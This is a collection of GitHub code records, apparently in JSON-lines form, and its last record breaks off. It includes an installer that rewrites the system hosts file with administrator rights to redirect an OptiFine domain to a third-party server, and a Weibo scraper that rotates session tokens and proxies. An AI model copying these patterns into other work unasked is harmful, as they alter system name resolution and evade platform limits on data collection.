code\n","repo_name":"PatRyg99/compiler","sub_path":"src/blocks/assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"18099628080","text":"# ReCape Installer\n# Licensed under the MIT license\n\n#Script Starts\nimport webbrowser\nimport customtkinter\nimport dns.resolver\nimport platform\nimport os\nimport subprocess\nfrom PIL import Image, ImageTk, ImageDraw, ImageOps\n\n\n# declare\ncurrent_os = platform.system()\nprint(current_os)\n\nLINE_IDENTIFIER = \"ADDED BY RECAPE\"\n\ntry:\n hosts_file_dir = {\n \"Windows\": \"C:\\Windows\\System32\\drivers\\etc\\hosts\",\n \"Linux\": \"/etc/hosts\",\n \"Darwin\": \"/private/etc/hosts\"\n }[current_os]\nexcept KeyError:\n hosts_file_dir = \"/etc/hosts\"\n\nOPTIFINE_URL = \"s.optifine.net\"\nRECAPE_URL = \"recape-server.boyne.dev\"\n\nif False: # os.path.exists(\".debug\"):\n RECAPE_IP = \"127.0.0.1\"\nelse:\n RECAPE_IP = dns.resolver.resolve(RECAPE_URL)[0].to_text()\n\n\nclass App(customtkinter.CTk):\n \n def __init__(self):\n super().__init__()\n\n # Initialize the window\n self.title(\"ReCape Installer\")\n self.geometry(\"900x450\")\n self.resizable(0, 0)\n\n # Set the grid layout to 1x2\n self.grid_rowconfigure(0, weight=1)\n self.grid_columnconfigure(1, weight=1)\n\n # Set the icon of the window\n if current_os == \"Linux\":\n icon_path = os.path.join(os.path.dirname(__file__), \"images\", \"icon_logo.xbm\")\n else:\n icon_path = os.path.join(os.path.dirname(__file__), \"images\", \"icon_logo.ico\")\n\n if os.path.exists(icon_path):\n self.iconbitmap(icon_path)\n\n self._generate_icons()\n\n self._generate_fonts()\n self._create_window()\n \n def _generate_icons(self):\n\n # Create the image path\n image_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"images\")\n \n # Index of images and icons\n self.image_indexes = {\n \"logo\": (26, 26),\n \"background\": (500, 150)\n }\n self.icon_indexes = [\n \"home\",\n \"info\",\n \"discord\",\n \"download\",\n \"close\",\n \"manual\",\n \"blc\"\n ]\n self.icon_size = (20, 20)\n\n self.images = {}\n self.icons = {}\n\n for image in self.image_indexes.keys():\n self.images[image] = customtkinter.CTkImage( light_image=Image.open(os.path.join(image_path, image + \".png\")), size=self.image_indexes[image] )\n \n for icon in self.icon_indexes:\n \n # Create light and dark sets of icons\n img_light = Image.open(os.path.join(image_path, icon + \".png\"))\n img_dark = img_light.convert('RGBA')\n r, g, b, a = img_dark.split()\n r = g = b = r.point(lambda i: 255)\n img_dark = Image.merge('RGBA', (r, g, b, a))\n\n self.icons[icon] = customtkinter.CTkImage( light_image=img_light, dark_image=img_dark, size=self.icon_size)\n\n def _generate_fonts(self):\n\n # Create a font for the frame\n self.nav_font = customtkinter.CTkFont(size=15, weight=\"bold\")\n\n def _create_window(self):\n self.frames = {}\n self.buttons = {}\n\n self._generate_nav_frame()\n self._generate_about_frame()\n self._generate_home_frame()\n\n self.select_frame_by_name(\"home\")\n\n def _generate_nav_frame(self):\n\n # Create a frame for the list of buttons\n self.navigation_frame = customtkinter.CTkFrame(self, corner_radius=0)\n self.navigation_frame.grid(row=0, column=0, sticky=\"nsew\")\n self.navigation_frame.grid_rowconfigure(4, weight=1)\n\n # Create the main logo\n self.navigation_frame_label = customtkinter.CTkLabel(\n self.navigation_frame,\n text=\" ReCape!\",\n image=self.images[\"logo\"],\n compound=\"left\",\n font=self.nav_font,\n )\n self.navigation_frame_label.grid(row=0, column=0, padx=20, pady=20)\n\n # Generate navigation buttons\n\n ## Home button\n self.home_button = customtkinter.CTkButton(\n self.navigation_frame,\n corner_radius=0,\n height=40,\n border_spacing=10,\n text=\"Home\",\n fg_color=\"transparent\",\n text_color=(\"gray10\", \"gray90\"),\n hover_color=(\"gray70\", \"gray30\"),\n image=self.icons[\"home\"],\n anchor=\"w\",\n command=self.home_button_event,\n )\n self.home_button.grid(row=1, column=0, sticky=\"ew\")\n\n ## About button\n self.about_button = customtkinter.CTkButton(\n self.navigation_frame,\n corner_radius=0,\n height=40,\n border_spacing=10,\n text=\"About\",\n fg_color=\"transparent\",\n text_color=(\"gray10\", \"gray90\"),\n hover_color=(\"gray70\", \"gray30\"),\n image=self.icons[\"info\"],\n anchor=\"w\",\n command=self.about_button_event,\n )\n self.about_button.grid(row=2, column=0, sticky=\"ew\")\n\n ## Discord button\n self.discord_server_button = customtkinter.CTkButton(\n self.navigation_frame,\n corner_radius=0,\n height=40,\n border_spacing=10,\n text=\"Discord\",\n fg_color=\"transparent\",\n text_color=(\"gray10\", \"gray90\"),\n hover_color=(\"gray70\", \"gray30\"),\n image=self.icons[\"discord\"],\n anchor=\"w\",\n command=self.discord_server_button_event,\n )\n self.discord_server_button.grid(row=3, column=0, sticky=\"ew\")\n\n ## Appearance dropdown\n self.appearance_mode_menu = customtkinter.CTkOptionMenu(\n self.navigation_frame, values=[\"System\", \"Light\", \"Dark\"], command=self.change_appearance_mode_event\n )\n self.appearance_mode_menu.grid(row=6, column=0, padx=20, pady=20, sticky=\"s\")\n\n def _generate_home_frame(self):\n\n self.home_frame = customtkinter.CTkFrame(self, corner_radius=0, fg_color=\"transparent\")\n self.home_frame.grid_columnconfigure(0, weight=1)\n\n self.frames[\"home\"] = self.home_frame\n self.buttons[\"home\"] = self.home_button\n\n # Load and resize the image\n image = self.images[\"background\"]\n\n # Create the label with rounded image\n self.home_frame_large_image_label = customtkinter.CTkLabel(\n self.home_frame, text=\"\", image=image\n )\n self.home_frame_large_image_label.grid(row=0, column=0, padx=20, pady=10)\n\n self.status_box = customtkinter.CTkLabel(self.home_frame, text=\"\")\n self.status_box.grid(row=1, column=0, padx=20, pady=10)\n\n self.custom_button = customtkinter.CTkButton(\n self.home_frame,\n text=\"Custom\",\n image=self.icons[\"manual\"],\n compound=\"left\",\n command=get_installer_text,\n )\n self.custom_button.grid(row=2, column=0, padx=20, pady=10)\n\n self.install_button = customtkinter.CTkButton(\n self.home_frame, text=\"Install\", image=self.icons[\"download\"], compound=\"top\", command=install\n )\n self.install_button.grid(row=3, column=0, padx=20, pady=10)\n\n self.blc_support_button = customtkinter.CTkButton(self.navigation_frame, corner_radius=0, height=0, border_spacing=10, text=\"BLC Support\", fg_color=\"transparent\", text_color=(\"gray10\", \"gray90\"), hover_color=(\"gray70\", \"gray30\"), image=self.icons[\"blc\"], anchor=\"w\", command=blc_support_event\n )\n self.blc_support_button.grid(row=4, column=0, sticky=\"ew\")\n\n self.uninstall_button = customtkinter.CTkButton(\n self.home_frame, text=\"Uninstall\", image=self.icons[\"close\"], compound=\"top\", command=uninstall\n )\n self.uninstall_button.grid(row=4, column=0, padx=20, pady=10)\n\n def _generate_about_frame(self):\n self.about_frame = customtkinter.CTkFrame(self, corner_radius=0, fg_color=\"transparent\")\n self.about_frame.grid_columnconfigure(0, weight=1)\n\n self.frames[\"about\"] = self.about_frame\n self.buttons[\"about\"] = self.about_button\n \n self.about_header = customtkinter.CTkLabel(self.about_frame, text=\"About\", font=self.nav_font)\n self.about_header.grid(row=0, column=0, padx=20, pady=10)\n\n self.about_info = customtkinter.CTkLabel(self.about_frame, text=\"ReCape Installer\\nWritten by dedfishy and manthe.sh\\nThank you!\")\n self.about_info.grid(row=1, column=0, padx=20, pady=10)\n\n def select_frame_by_name(self, name):\n\n frames = list(self.frames.keys())\n\n if name in frames:\n\n frames.remove(name)\n\n self.frames[name].grid(row=0, column=1, sticky=\"nsew\")\n self.buttons[name].configure(fg_color=(\"gray75\", \"gray25\"))\n\n for frame in frames:\n self.frames[frame].grid_forget()\n self.buttons[frame].configure(fg_color=\"transparent\")\n\n def home_button_event(self):\n self.select_frame_by_name(\"home\")\n\n def about_button_event(self):\n self.select_frame_by_name(\"about\")\n\n def discord_server_button_event(self):\n # Open Discord link in browser\n webbrowser.open(\"https://discord.gg/MY2DWCBZd4\")\n\n def change_appearance_mode_event(self, new_appearance_mode):\n customtkinter.set_appearance_mode(new_appearance_mode)\n\n def update_status_box(self, text):\n self.status_box.configure(text=text)\n\n# Actual installer code\n\ndef install():\n try:\n with open(hosts_file_dir, \"r\") as hosts:\n content = hosts.readlines()\n with open(hosts_file_dir, \"w\") as hosts:\n content.append(\"\\n\" + RECAPE_IP + \" \" + OPTIFINE_URL + \" #\" + LINE_IDENTIFIER)\n hosts.write(\"\".join(content))\n except PermissionError as e:\n print(\"Access Denied on Install\") # debug\n app.update_status_box(\n \"Could not access your hosts file. \\n You need to start ReCape as an administrator/root in order to do this. \\n You can either Do a manual installation by yourself with the 'manual button' or \\n run this installer as an administrator, root, or superuser.\"\n )\n else:\n status = \"Installed successfully!\"\n app.update_status_box(status)\n\ndef get_installer_text():\n print(\"Instruct has been sent\") # debug\n app.update_status_box(\n \"You can install ReCape yourself by manually inputting text into your hosts file. \\n On your system, this file should be located at \\\"\"\n + hosts_file_dir\n + \"\\\". On a new line, put in this text:\\n\"\n + RECAPE_IP\n + \" \"\n + OPTIFINE_URL\n + \" #\"\n + LINE_IDENTIFIER\n + \"\\nSimilarly, you can uninstall ReCape by deleting that line in the hosts file later.\"\n )\n\ndef uninstall():\n try:\n with open(hosts_file_dir, \"r\") as hosts:\n content = hosts.readlines()\n for i in range(len(content)):\n if LINE_IDENTIFIER in content[i]:\n content.pop(i)\n break\n with open(hosts_file_dir, \"w\") as hosts:\n hosts.write(\"\".join(content))\n except PermissionError:\n print(\"Access Denied on Uninstall\") # debug\n app.update_status_box(\n \"Could not access your hosts file. \\n You need to start ReCape as an administrator/root in order to do this. \\n You can either Do a manual installation by yourself with the 'manual button' or \\n run this installer as an administrator, root, or superuser.\"\n )\n else:\n status = \"Uninstalled ReCape!\"\n app.update_status_box(status)\n\ndef blc_support_event():\n if current_os != \"Windows\":\n app.update_status_box(\"Sorry, but BLC support is only available on Windows (for now).\")\n return\n app.update_status_box(\"Running command as administrator...\")\n command = 'attrib \"C:\\Windows\\System32\\drivers\\etc\\hosts\" -s -h -r && attrib \"C:\\Windows\\System32\\drivers\\etc\\hosts\" +s +r'\n try:\n subprocess.run([\"cmd\", \"/c\", \"start\", \"/wait\", \"runas\", \"/user:Administrator\", \"cmd.exe\", \"/c\", command])\n except Exception as e:\n app.update_status_box(\"Error running command: \" + str(e))\n else:\n app.update_status_box(\"Completed successfully!\")\n# create and run app\napp = App()\napp.mainloop()","repo_name":"ReCape/ReCape-Installer","sub_path":"ReCape.py","file_name":"ReCape.py","file_ext":"py","file_size_in_byte":12208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"41117290875","text":"# config file for ETL\nfrom os import environ\nfrom decimal import Decimal, getcontext\nMONGODB_HOST = 'sunghopark.info'\nMONGODB_PORT = 27017\nMONGODB_DB = 'chicago_prod'\nMONGODB_USER = environ['MONGODB_USER']\nMONGODB_PW = environ['MONGODB_PW']\nMONGODB_LOC_COLL = 'locs'\nMONGODB_MIN_DISTANCE_FIELD_NAME = 'md'\nMONGODB_MIN_DISTANCE_FACILITY_FIELD_NAME = 'mdfn'\n\ngetcontext().prec = 8\n_NUM_POINTS_ALONG_X = 100\n_NUM_POINTS_ALONG_Y = 200\n\nX_MIN = Decimal(41.647166)\nX_MAX = Decimal(42.016700)\nX_INTERVAL = (X_MAX - X_MIN) / _NUM_POINTS_ALONG_X\n\nY_MIN = Decimal(-87.945152)\nY_MAX = Decimal(-87.528641)\nY_INTERVAL = (Y_MAX - Y_MIN) / _NUM_POINTS_ALONG_Y\n\nNUM_POINTS_TO_PRINT = 50\n\nEARTH_RADIUS = 6371 # km\nKM_MILE_FACTOR = 0.621\n\nFACILITY_FILE_DELIM = '|'\nLOC_BATCH_SIZE=500","repo_name":"sunghopark2010/chicago","sub_path":"etl/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"27864110106","text":"# from transformers import BertTokenizer, TFBertMainLayer, TFBertForNextSentencePrediction, TFBertPreTrainedModel\r\n# from transformers.modeling_tf_utils import TFPreTrainedModel, get_initializer, keras_serializable, shape_list\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport pickle\r\nimport math\r\nimport config\r\nimport pathlib\r\nfrom .dataset_params import DatasetParams\r\n\r\nfrom .nlppreprocessing import (\r\n preprocess_sent,\r\n preprocess_word,\r\n)\r\nfrom .utils import flatten\r\nimport sys, os\r\n\r\nsys.path.insert(0, config.root_path)\r\nfrom src.dataset.LDA_BERT.LDA_BERT import LDA_BERT\r\nfrom db.db import DB, AugmentedDB\r\n\r\nfrom cached_property import cached_property\r\n\r\n\r\nclass LDABERTDataset(DatasetParams):\r\n def __init__(\r\n self,\r\n *,\r\n dataset_slice=\"training\",\r\n dataset_type=\"default\",\r\n pct_data=0.005,\r\n max_seq_length=256,\r\n random=False,\r\n augment_pct=0.0,\r\n remove_duplicates=False,\r\n max_segment_length=5,\r\n lda_topics=10,\r\n lda_gamma=15\r\n ):\r\n self.topics = lda_topics\r\n self.lda_gamma = lda_gamma\r\n self.db = DB(dataset_type)\r\n self.augmented_db = AugmentedDB(dataset_type)\r\n super().__init__(\r\n dataset_slice=dataset_slice,\r\n dataset_type=dataset_type,\r\n pct_data=pct_data,\r\n max_seq_length=max_seq_length,\r\n random=random,\r\n augment_pct=augment_pct,\r\n remove_duplicates=remove_duplicates,\r\n max_segment_length=max_segment_length,\r\n )\r\n\r\n @cached_property\r\n def data_segments(self):\r\n regular_segments = self.db.get_random_segments_pct(\r\n pct_data=self.pct_data, max_segment_size=self.max_segment_length\r\n )\r\n augmented_segments = self.augmented_db.get_random_segments_pct(\r\n pct_data=self.augment_pct, max_segment_size=self.max_segment_length\r\n )\r\n\r\n return regular_segments + augmented_segments\r\n\r\n @cached_property\r\n def data(self):\r\n return flatten(self.data_segments)\r\n\r\n @cached_property\r\n def num_samples(self):\r\n return len(self.data)\r\n\r\n @cached_property\r\n def sentences(self):\r\n return [x[1] for x in self.data]\r\n\r\n @cached_property\r\n def labels(self):\r\n return [x[2] for x in self.data]\r\n\r\n @cached_property\r\n def sentence_segments(self):\r\n return [[y[1] for y in x] for x in self.data_segments]\r\n\r\n @cached_property\r\n def label_segments(self):\r\n return [[y[2] for y in x] for x in self.data_segments]\r\n\r\n def _remove_duplicates(self, sentences, labels):\r\n new_sentences = []\r\n new_labels = []\r\n prev_sent = \"\"\r\n for t, l in zip(sentences, labels):\r\n if t == prev_sent:\r\n continue\r\n else:\r\n new_sentences.append(t)\r\n new_labels.append(l)\r\n prev_sent = t\r\n\r\n return new_sentences, new_labels\r\n\r\n def _preprocess(self, sentences, labels):\r\n \"\"\"\r\n Preprocess the data\r\n \"\"\"\r\n\r\n print(\"Preprocessing raw texts ...\")\r\n new_sentences = [] # sentence level preprocessed\r\n token_lists = [] # word level preprocessed\r\n # idx_in = [] # index of sample selected\r\n new_labels = []\r\n # samp = list(range(100))\r\n print(len(sentences), len(labels))\r\n for i, sent in enumerate(sentences):\r\n sentence = preprocess_sent(sent)\r\n token_list = preprocess_word(sentence)\r\n if token_list:\r\n # idx_in.append(idx)\r\n new_sentences.append(sentence)\r\n token_lists.append(token_list)\r\n new_labels.append(labels[i])\r\n print(\r\n \"{} %\".format(str(np.round((i + 1) / len(sentences) * 100, 2))),\r\n end=\"\\r\",\r\n )\r\n print(\"Preprocessing raw texts. Done!\")\r\n return new_sentences, token_lists, new_labels\r\n\r\n def format_sentences_tri_input(self, sentences):\r\n left_input = tf.convert_to_tensor([sentences[-1], *sentences[:-1]])\r\n\r\n mid_input = tf.convert_to_tensor(sentences)\r\n\r\n right_input = tf.convert_to_tensor([*sentences[1:], sentences[0]])\r\n\r\n return left_input, mid_input, right_input\r\n\r\n def create_vectors(self, filepath):\r\n print(\"root path\", config.root_path)\r\n self.lda_bert = LDA_BERT(self.sentences, self.topics, self.token_lists)\r\n vectors = self.lda_bert.vectorize(method=\"LDA_BERT\")\r\n absolute_filepath = os.path.join(\r\n config.root_path,\r\n \"data\",\r\n \"generated_vectors\",\r\n filepath.split(\"/\")[-2],\r\n filepath.split(\"/\")[-1],\r\n )\r\n pickle.dump(\r\n [vectors, self.labels, self.sentences], open(absolute_filepath, \"wb\")\r\n )\r\n return vectors, self.labels, self.sentences\r\n\r\n def get_vectors(self, filepath):\r\n absolute_filepath = os.path.join(\r\n config.root_path,\r\n \"data\",\r\n \"generated_vectors\",\r\n filepath.split(\"/\")[-2],\r\n filepath.split(\"/\")[-1],\r\n )\r\n try:\r\n vectors = pickle.load(open(absolute_filepath, \"rb\", buffering=0))\r\n return (\r\n vectors[0] if len(vectors[0]) else [],\r\n vectors[1] if len(vectors[1]) else [],\r\n vectors[2] if len(vectors[2]) else [],\r\n )\r\n except Exception as e:\r\n print(\"something went wrong\", e)\r\n return [], [], []\r\n\r\n def process(self, preprocess=False):\r\n sentence_segments, label_segments = self.sentence_segments, self.label_segments\r\n sentences, labels = self.sentences, self.labels\r\n\r\n # convert to a vertical stacked array.\r\n labels = np.expand_dims(np.array(labels), axis=1)\r\n\r\n if self.remove_duplicates:\r\n sentences, labels = self._remove_duplicates(sentences, labels)\r\n\r\n if preprocess:\r\n sentences, token_lists, labels = self._preprocess(sentences, labels)\r\n self.sentences, self.token_lists, self.labels = (\r\n sentences,\r\n token_lists,\r\n labels,\r\n )\r\n return sentences, token_lists, labels\r\n else:\r\n self.sentences, self.token_lists, self.labels = sentences, [], labels\r\n return sentences, [], labels\r\n\r\n","repo_name":"maraja/context-encoder-v2","sub_path":"src/dataset/ldabert.py","file_name":"ldabert.py","file_ext":"py","file_size_in_byte":6499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"7923282762","text":"import sys\n\ndef whois(str):\n if (len(str) == 1):\n return 0\n elif (len(str) > 2 or str[1].isnumeric() is False):\n print(\"ERROR\")\n return 0\n i = int(str[1])\n if (i == 0):\n print(\"I'm Zerro\")\n elif (i % 2 == 0):\n print(\"I'm Even.\")\n elif (i % 2 == 1):\n print(\"I'm Odd.\")\n\nwhois(sys.argv)\n","repo_name":"pmaldagu/42AI_bootcamp_python","sub_path":"day00/ex02/whois.py","file_name":"whois.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"1821563666","text":"import os\nfrom datetime import datetime\n\nimport requests\nfrom dotenv import load_dotenv\n\nfrom tools import download_image\n\n\ndef fetch_nasa_epic(api_key):\n url = \"https://api.nasa.gov/EPIC/api/natural/images\"\n payload = {\n \"api_key\": api_key\n }\n response = requests.get(url, params=payload)\n response.raise_for_status()\n for number, picture in enumerate(response.json()):\n date = datetime.fromisoformat(picture['date'])\n formatted_date = date.strftime(\"%Y/%m/%d\")\n image_url = f\"https://api.nasa.gov/EPIC/archive/natural/{formatted_date}/png/{picture['image']}.png\"\n filepath = os.path.join(\"images\", f\"{number}nasa_epic.png\")\n download_image(image_url, filepath, params=payload)\n\n\nif __name__==\"__main__\":\n load_dotenv()\n os.makedirs(\"images\", exist_ok=True)\n api_key = os.environ[\"NASA_API_KEY\"]\n fetch_nasa_epic(api_key)","repo_name":"DarkWerb22/api4","sub_path":"fetch_nasa_epic.py","file_name":"fetch_nasa_epic.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"27166813768","text":"class Solution:\n # solve 1\n def reorderLogFiles(self, logs: list[str]) -> list[str]:\n alpha_logs = []\n digit_logs = []\n for log in logs:\n digit = False\n for elem in log.split()[1:]:\n if elem.isdigit():\n digit = True\n if digit:\n digit_logs.append(log)\n else:\n alpha_logs.append(log)\n alpha_logs.sort(key = lambda x:(x.split()[1:], x.split()[0]))\n return alpha_logs + digit_logs\n\nsolution = Solution()\nsolution.reorderLogFiles([\"dig1 8 1 5 1\",\"let1 art can\",\"dig2 3 6\",\"let2 own kit dig\",\"let3 art zero\"])\n\n\"\"\"\nInput \n[\"dig1 8 1 5 1\",\"let1 art can\",\"dig2 3 6\",\"let2 own kit dig\",\"let3 art zero\"]\nOutput \n[\"let1 art can\",\"let3 art zero\",\"let2 own kit dig\",\"dig1 8 1 5 1\",\"dig2 3 6\"]\n\"\"\"","repo_name":"Geunbaek/python_algorithm_interview","sub_path":"6장 문자열 조작/937_reorder_log_files.py","file_name":"937_reorder_log_files.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"15199315721","text":"class Solution:\n def lastRemaining(self, n: int) -> int:\n step = 1\n interval = 2 ^ (step - 1)\n gap = 2 ^ step\n\n left, right = 1, n\n isAsc = True\n while (right - left) // interval > 1:\n if isAsc:\n left += interval\n right = ((right - left) // gap) * gap + left\n else:\n right -= interval\n left = right - ((right - left) // gap) * gap\n interval = 2 ^ (step - 1)\n gap = 2 ^ step\n\n return 0\n\n def lastRemaining2(self, n: int) -> int:\n arr = [i for i in range(1, n + 1)]\n\n def delFunc(nums, vec=True):\n temp = list()\n length = len(nums)\n if vec:\n for i in range(1, length, 2):\n temp.append(nums[i])\n else:\n for i in range(length - 2, -1, -2):\n temp.append(nums[i])\n return temp\n\n isAsc = True\n while len(arr) > 1:\n arr = delFunc(arr, isAsc)\n isAsc = not isAsc\n return arr[0]\n","repo_name":"BennyJane/algorithm_mad","sub_path":"leetcode/array/lastRemaining.py","file_name":"lastRemaining.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"26287713617","text":"from utils import database\r\n\r\n\r\nCHOICE = \"\"\"\r\n\r\nSelections:\r\n\r\nType 'a' to add a new topic\r\nType 'l' to list all topics\r\nType 'c' to rate your confidence level in the topic\r\nType 'd' to delete a topic\r\nType 'q' to quit\r\n\r\n\"\"\"\r\n\r\n\r\ndef menu():\r\n database.create_topics_table()\r\n user_input = input(CHOICE)\r\n while user_input != 'q':\r\n if user_input == 'a':\r\n prompt_add_topic()\r\n elif user_input == 'l':\r\n list_topics()\r\n elif user_input == 'c':\r\n topic_confidence()\r\n elif user_input == 'd':\r\n prompt_delete_topic()\r\n\r\n user_input = input(USER_CHOICE)\r\n\r\n\r\ndef prompt_add_topic():\r\n topic = input('Enter the new topic name: ')\r\n lecture = input('Enter the lecture name of the topic: ')\r\n\r\n database.insert_topic(topic, lecture)\r\n\r\n\r\ndef list_topics():\r\n for topic in database.get_all_topics():\r\n done = 'YES!!!' if topic[3] == 100 else topic[3]\r\n print(f'{topic[1]} on {topic[2]} — Confident: {done}')\r\n\r\n\r\ndef topic_confidence():\r\n name = input('Enter the name of the topic you want to rate: ')\r\n percentage = input('How confident you are in this topic: ')\r\n database.confident_level(name, percentage)\r\n\r\n\r\ndef prompt_delete_topic():\r\n name = input('Enter the name of the topic you wish to delete: ')\r\n\r\n database.delete_topic(name)\r\n\r\n\r\nmenu()\r\n\r\n\r\n\r\n","repo_name":"AlptekinE/Exam-Preparation","sub_path":"Lecture_Confidence_Database/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"15050504925","text":"from django.shortcuts import render\nfrom .classifier import ModelClassifier\nfrom django.contrib.messages import success\n\nmodel = ModelClassifier()\nmodel.TrainModel()\n\ndef index(request):\n fields = [\n 'Day','Closing Price','Opening Price','One Day High','One Day Low'\n ]\n data = []\n days = [i for i in range(1,32)]\n if request.method == 'POST':\n for i in fields:\n try:\n data.append(int(request.POST.get(i,0)))\n except:\n data.append(float(request.POST.get(i,0)))\n print(data)\n pridict_data = model.PredictModel(data)\n success(request, f\"The Amount of Stocks On day {data[0]} : {pridict_data[0]}\")\n\n return render(request, 'index.html',context={'field':fields,'days':days})","repo_name":"sriraj66/apple-stocks-django","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"24380441830","text":"\ndef test_checkbox_check(setup):\n driver = setup\n\n checked_option = driver.find_element(by='xpath', value='//input[@value=\"option-1\"]')\n checked_option.click()\n\n checkboxes = driver.find_elements(by='xpath', value=\"//input[@type='checkbox']\")\n\n checked_count = 0\n unchecked_count = 0\n\n for checkbox in checkboxes:\n if checkbox.is_selected():\n checked_count = checked_count + 1\n else:\n unchecked_count = unchecked_count + 1\n\n print(f\"Checked count: {checked_count}\")\n print(f\"Unchecked count: {unchecked_count}\")\n\n","repo_name":"meetbhargav/PythonSelenium","sub_path":"test_checkbox.py","file_name":"test_checkbox.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"2652927076","text":"#!/usr/bin/env python2.7\n#! -*- coding: utf-8 -*-\n\n# Date (2012-01-31)\n# Author (Junwei)\n\nimport json\nimport logging\nimport datetime\nimport threading\nimport Queue\nimport sys\nimport re\nimport random\nimport time\n\nfrom BeautifulSoup import BeautifulSoup\nfrom pymongo import ASCENDING\nfrom pymongo import Connection\nfrom pymongo.errors import ConnectionFailure\n\nfrom WeiboCrawler import WeiboCrawler\n\nbasepath = sys.argv[0]\nif basepath.find(\"/\") != -1:\n\tbasepath = basepath[:basepath.find(\"/\")]\nelse:\n\tbasepath = \".\"\n\n# set up logger\nlogger = logging.getLogger(\"WeiboGetLatestBlog\")\nlogFileName = basepath + \"/log/weibo/WeiboGetLatestBlog.\" + str(datetime.date.today()) + \".log\"\nfileHandler = logging.FileHandler(logFileName)\nformatter = logging.Formatter(\"[%(asctime)s] [%(levelname)s] : %(message)s\")\nfileHandler.setFormatter(formatter)\nlogger.addHandler(fileHandler)\nlogger.setLevel(logging.INFO)\n\n\nruntime = int(time.time()) # figure out how to extract logs from log file.\nlogger.info(\"Program Time Signature: [%s]\" % runtime)\n\nclass DataManager(threading.Thread):\n\t\"\"\" Store Data Into Database \"\"\"\n\t# @Param database name\n\t# @Param collection name\n\t# @Param task queue\n\tdef __init__(self, dname, cname, results_queue):\n\t\tthreading.Thread.__init__(self)\n\t\tself.database = dname\n\t\tself.collection = cname\n\t\tself.results_queue = results_queue\n\t\tself.dbh = connect[self.database]\n\tdef run(self):\n\t\tdata = []\n\t\twhile True:\n\t\t\titem = self.results_queue.get()\n\t\t\tdata.append(item)\n\t\t\tif len(data) >= 10:\n\t\t\t\tself.dbh[self.collection].insert(data)\n\t\t\t\tdel data[:]\n\nclass WeiboException(Exception):\n\tdef __init__(self, code, message):\n\t\tself.code = code\n\t\tself.message = message\n\n\tdef __str__(self):\n\t\treturn repr(self.message)\n\nclass GetLatestBlog(threading.Thread):\n\tdef __init__(self, jobs_queue, results_queue, gsid, proxy=None):\n\t\tthreading.Thread.__init__(self)\n\t\tself.jobs_queue = jobs_queue\n\t\tself.results_queue = results_queue\n\t\tself.gsid = gsid\n\t\tself.proxy = proxy\n\t\tself.wc = WeiboCrawler()\n\t\tself.wc.setGsid(self.gsid)\n\t\tself.wc.setProxy(self.proxy)\n\n\tdef run(self):\n\t\twhile True:\n\t\t\ttime.sleep(random.randint(2, 4))\n\n\t\t\tuid, page = self.jobs_queue.get()\n\t\t\tself.jobs_queue.task_done()\n\n\t\t\tif page is None:\n\t\t\t\tpage = \"1\"\n\t\t\tresp = self.wc.getMicroBlogs(uid, page)\n\t\t\tif resp is None:\n\t\t\t\tself.jobs_queue.put(uid)\n\t\t\tsoup = BeautifulSoup(resp)\n\t\t\tbody = soup.body\n\t\t\tmblogs = body.findAll(\"div\", {\"class\": \"c\", \"id\": re.compile(u\"M_\")})\n\t\t\tif mblogs is None: # no micro blog\n\t\t\t\tcontinue\n\t\t\t#print mblogs\n\t\t\tblogs_file = open(\"%s/data/blogs/%s.blog\" % (basepath, datetime.date.today()), \"a\")\n\t\t\tfor mblog in mblogs:\n\t\t\t\tblogs_file.write(\"[%s]:%s\\n\" % (uid, mblog))\n\t\t\tblogs_file.close()\n\t\t\t\t\n\t\t\t\ndef main():\n\tresults_queue = Queue.Queue()\n\tjobs_queue = Queue.Queue()\n\n\twc = WeiboCrawler()\n\taccounts = wc.getAllGsidProxyPair()\n\n\tgsid, proxy = accounts[0][0], accounts[0][1]\n\tif proxy == \"None\":\n\t\tproxy = None\n\twc.setGsid(gsid)\n\twc.setProxy(proxy)\n\n\tres = wc.getMicroBlogs(\"1646194541\")\n\tsoup = BeautifulSoup(res)\n\tpagelist = soup.find(\"div\", {\"id\": \"pagelist\"})\n\tmp = pagelist.find(\"input\", {\"name\": \"mp\"})\n\n\tuid = \"xxxxxxxxx\"\n\tfor page in range(1, int(mp) + 1):\n\t\tjobs_queue.put((uid, page))\n\tfor account in accounts:\n\t\tgsid = account[0]\n\t\tproxy = account[1]\n\t\tif proxy == \"None\":\n\t\t\tproxy = None\n\t\tglb = GetLatestBlog(jobs_queue, results_queue, gsid, proxy)\n\t\tglb.setDaemon(True)\n\t\tglb.start()\n\n\tjobs_queue.join()\n\nif __name__ == \"__main__\":\n\tmain()\n\tlogger.info(\"Program Time Signature: [%s]\" % runtime)\n","repo_name":"webhokie/wc","sub_path":"WeiboGetLatestBlog.py","file_name":"WeiboGetLatestBlog.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"6844261732","text":"# SPDX-License-Identifier: MIT\n\n\"\"\"Contains minimum settings to run the 